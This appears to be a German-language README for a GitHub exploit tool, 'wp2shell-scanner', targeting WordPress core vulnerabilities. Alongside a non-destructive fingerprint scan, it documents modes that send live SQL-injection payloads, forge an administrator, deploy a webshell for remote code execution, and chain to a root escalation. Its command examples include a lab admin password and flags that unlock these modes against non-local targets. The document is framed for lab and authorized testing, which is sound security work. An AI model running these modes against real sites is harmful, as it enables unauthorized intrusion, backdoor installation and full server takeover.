wp2shell-scanner

von @bahartanir (katherinepierce) Fork von ZephrFish/wp2shell-scanner mit zusätzlichen Verbesserungen. Forschung von Adam Kues (Assetnote) und Mustafa Can İPEKÇİ (nukedx).

Erkennungs- und Validierungswerkzeuge für die Offenlegung des WordPress-Kerns gegenüber wp2shell (CVE-2026-63030 / CVE-2026-60137). Modi werden mit einem Flag ausgewählt, und das Ziel ist positional. --scan erstellt einen Fingerabdruck der Kernversion und bestätigt, dass die REST /batch/v1-Route erreichbar ist, ohne eine Exploit-Nutzlast zu senden; die Modi --check/--read/--shell/--rce/--root-prereq sind die Validierungs-PoC für autorisierte Labornutzung.

wp2shell.py ist ein einzelnes Skript, das nur die Standardbibliothek verwendet – keine externen Abhängigkeiten. Jeder Aufruf gibt das Banner vor der Ausführung auf stderr aus (es bleibt von stdout fern, sodass die JSON-Ausgabe von --scan -j nicht beeinträchtigt wird).

Befehlsflags

Es ist genau ein Modusflag erforderlich; das Ziel ist positional (eine URL für jeden Modus oder eine Hostliste für --scan).

Zusammenfassung

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Modusflags (eines auswählen)

Optionsflags

Ursprünglicher Deep Dive: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Nuclei-Vorlage

nuclei -t wp2shell-exposure.yaml -u https://target

Scan (nicht-destruktiv)

Einzelner Host, mehrere Hosts oder eine Datei.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Optionen: -f/--file Hosts-Datei (eine pro Zeile), -j/--json JSON-Ausgabe, -t/--threads Gleichzeitigkeit (Standard 10).

Validierungs-PoC

Die Modi --check/--read/--shell/--rce/--root-prereq senden Live-Exploit-Nutzlasten. Führen Sie sie nur gegen das mitgelieferte localhost-Labor oder andere Systeme aus, die Ihnen gehören und für die Sie ausdrücklich autorisiert sind zu testen. --shell und --rce führen Remote-Code-Ausführung durch und sind für das Labor/autorisierte Ziele vorgesehen; --rce auf einem Nicht-Loopback-Host erfordert --authorized. --root-prereq verwendet dasselbe token-gesteuerte Diagnose-Plugin, um Shell-zu-Root-Voraussetzungen zu prüfen, führt jedoch keine lokale Privilegieneskalation durch.

--shell benötigt ein wiederhergestelltes/geknacktes Admin-Passwort. --rce ist die anmeldeinformationslose Pre-Auth-Kette: Es fälscht seinen eigenen Administrator über das SQLi (oEmbed → changeset → re-entrant parse_request), stellt dann die Webshell bereit – kein Passwort erforderlich.

--shell, --rce und --root-prereq fordern vor dem Senden einer Code-Ausführungs-Nutzlast zur interaktiven y/N-Autorisierung auf (sie brechen bei nicht-interaktivem/EOF stdin ab). Übergeben Sie -y/--yes, um die Eingabeaufforderung für die Automatisierung gegen das Labor oder ein autorisiertes Ziel zu überspringen.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Patch-Diffs, die zur Untermauerung des PoC verwendet werden, sind unter poc/diffs/ gespeichert, mit Forschungsnotizen in poc/RESEARCH.md. Das SQLi ist vollständig aus dem author__not_in-Fix rekonstruierbar. Die anmeldeinformationslose --rce-Kette (oEmbed → changeset → re-entry → Admin-Erstellung) reproduziert die standardmäßige RCE gegen das gebündelte Labor; --shell ist der alternative Pfad über eine wiederhergestellte/geknackte Admin-Anmeldeinformation für authentifizierten Plugin-Upload und Befehlsausführung.

Lokale Privilegieneskalation (--lpe)

--lpe verkettet die vollständige Pre-Auth RCE (SQLi → Admin-Fälschung → Webshell) mit einem automatisierten Root-Eskalationsversuch. Es versucht Folgendes der Reihe nach und stoppt beim ersten Erfolg:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe auf einem Nicht-Loopback-Ziel erfordert --authorized. Im gebündelten Labor (Ubuntu 22.04 Basis-Image mit einem verwundbaren GameOverlay-Kernel) gelingt CVE-2023-2640/32629 ohne Compiler.